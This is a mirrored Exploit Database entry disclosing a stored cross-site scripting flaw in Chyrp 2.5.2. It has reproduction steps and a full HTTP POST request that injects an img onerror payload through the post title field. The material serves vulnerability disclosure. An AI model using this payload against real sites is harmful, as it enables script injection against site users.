Chyrp 2.5.2 – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 42 阅读

• 作者： Ahmet Ümit BAYRAM
  日期： 2024-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52013/

• # Chyrp 2.5.2 - Stored Cross-Site Scripting (XSS)
  # Date: 2024-04-24
  # Exploit Author: Ahmet Ümit BAYRAM
  # Vendor Homepage: https://github.com/chyrp/
  # Software Link: https://github.com/chyrp/chyrp/archive/refs/tags/v2.5.2.zip
  # Version: 2.5.2
  # Tested on: MacOS
  
  ### Steps to Reproduce ###
  
  - Login from the address: http://localhost/chyrp/?action=login.
  - Click on 'Write'.
  - Type this payload into the 'Title' field: "><img src=x onerror=alert(
  "Stored")>
  - Fill in the 'Body' area and click 'Publish'.
  - An alert message saying "Stored" will appear in front of you.
  
  ### PoC Request ###
  
  POST /chyrp/admin/?action=add_post HTTP/1.1
  Host: localhost
  Cookie: ChyrpSession=c4194c16a28dec03e449171087981d11;
  show_more_options=true
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
  Gecko/20100101 Firefox/124.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
  */*;q=0.8
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate, br
  Content-Type: multipart/form-data;
  boundary=---------------------------28307567523233313132815561598
  Content-Length: 1194
  Origin: http://localhost
  Referer: http://localhost/chyrp/admin/?action=write_post
  Upgrade-Insecure-Requests: 1
  Sec-Fetch-Dest: document
  Sec-Fetch-Mode: navigate
  Sec-Fetch-Site: same-origin
  Sec-Fetch-User: ?1
  Te: trailers
  Connection: close
  
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="title"
  
  "><img src=x onerror=alert("Stored")>
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="body"
  
  <p>1337</p>
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="status"
  
  public
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="slug"
  
  
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="created_at"
  
  04/24/24 12:31:57
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="original_time"
  
  04/24/24 12:31:57
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="trackbacks"
  
  
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="feather"
  
  text
  -----------------------------28307567523233313132815561598
  Content-Disposition: form-data; name="hash"
  
  11e11aba15114f918ec1c2e6b8f8ddcf
  -----------------------------28307567523233313132815561598--